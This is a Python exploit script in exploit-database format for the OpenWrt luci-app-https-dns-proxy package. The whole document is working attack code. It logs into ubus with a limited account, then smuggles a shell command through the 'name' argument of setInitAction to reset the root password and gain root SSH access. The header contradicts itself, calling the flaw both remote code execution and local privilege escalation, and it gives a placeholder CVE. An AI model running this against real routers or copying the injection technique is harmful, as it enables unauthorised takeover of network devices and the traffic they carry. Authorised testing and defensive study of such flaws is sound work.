# Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE) # Date: 2026-01-17 # Exploit Author: Ahmet Mersin # Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy # Software Link: https://github.com/stangri/luci-app-https-dns-proxy # Version: All versions prior to 2026-01-17 # Tested on: OpenWrt 23.05 # CVE : Pending """ OpenWrt luci-app-https-dns-proxy Root Takeover Exploit CVE-202X-XXXXX - Local Privilege Escalation via Command Injection import requests import sys import getpass def banner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ OpenWrt https-dns-proxy Root Takeover Exploit ║ ║ CVE-202X-XXXXX | Privilege Escalation via Command Injection ║ ║ ║ ║ Developed by: ahmetmersin.com ║ ╚═══════════════════════════════════════════════════════════════╝ """) def get_user_input(): print("[*] Target Router Information:") target_ip = input(" Router IP [192.168.1.1]: ").strip() or "192.168.1.1" print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):") username = input(" Username: ").strip() if not username: print("[-] Username cannot be empty!") sys.exit(1) password = getpass.getpass(" Password: ") if not password: print("[-] Password cannot be empty!") sys.exit(1) print("\n[*] New Root Password:") new_root_pass = getpass.getpass(" Enter new root password: ") if not new_root_pass: print("[-] Password cannot be empty!") sys.exit(1) confirm_pass = getpass.getpass(" Confirm new root password: ") if new_root_pass != confirm_pass: print("\n[-] Passwords do not match!") sys.exit(1) return target_ip, username, password, new_root_pass def login(target_ip, username, password): print(f"\n[*] Authenticating as '{username}'...") endpoint = f"http://{target_ip}/ubus" payload = { "jsonrpc": "2.0", "id": 1, "method": "call", "params": [ "00000000000000000000000000000000", "session", "login", {"username": username, "password": password} ] } try: r = requests.post(endpoint, json=payload, timeout=10) response = r.json() if "result" in response and response["result"] and len(response["result"]) > 1: result = response["result"][1] if "ubus_rpc_session" in result: token = result["ubus_rpc_session"] print(f"[+] Login successful! Session token: {token[:16]}...") # Check if user has the vulnerable permission acls = result.get("acls", {}).get("ubus", {}) if "luci.https-dns-proxy" in acls: if "setInitAction" in acls["luci.https-dns-proxy"]: print(f"[+] User has access to vulnerable function!") return token, endpoint print("[-] User does not have 'setInitAction' permission!") return None, None print(f"[-] Login failed: {response}") return None, None except requests.exceptions.ConnectionError: print(f"[-] Connection error: Cannot reach {target_ip}") return None, None except Exception as e: print(f"[-] Error: {e}") return None, None def change_root_password(endpoint, session_id, new_password): print(f"\n[*] Changing root password...") # Payload: Use passwd with printf to change root password malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >" payload = { "jsonrpc": "2.0", "id": 666, "method": "call", "params": [ session_id, "luci.https-dns-proxy", "setInitAction", {"name": malicious_name, "action": "start"} ] } try: r = requests.post(endpoint, json=payload, timeout=10) response = r.json() print(f"[*] Response: {response}") # Check if result is True (command executed successfully) if "result" in response and len(response["result"]) > 1: result_data = response["result"][1] if isinstance(result_data, dict) and result_data.get("result") == True: print(f"\n" + "="*60) print(f"[+] EXPLOIT SUCCESSFUL!") print(f"="*60) ip = endpoint.split('//')[1].split('/')[0] print(f"\n[*] You can now login with the new root password:") print(f" ssh root@{ip}") print(f" Password: ") return True else: print(f"\n" + "="*60) print(f"[-] EXPLOIT FAILED - Command was blocked!") print(f"="*60) print(f"\n[!] The target may have been patched.") return False else: print(f"[-] Unexpected response format") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): banner() print("[!] WARNING: This tool is for authorized security testing only!") print("[!] Unauthorized access to computer systems is illegal.\n") confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower() if confirm != 'y': print("Aborted.") sys.exit(0) target_ip, username, password, new_root_pass = get_user_input() session_id, endpoint = login(target_ip, username, password) if session_id: success = change_root_password(endpoint, session_id, new_root_pass) if success: print("\n[+] Exploit completed! Test SSH access with the new password.") else: print("\n[-] Authentication failed. Exploit aborted.") sys.exit(1) if __name__ == "__main__": main()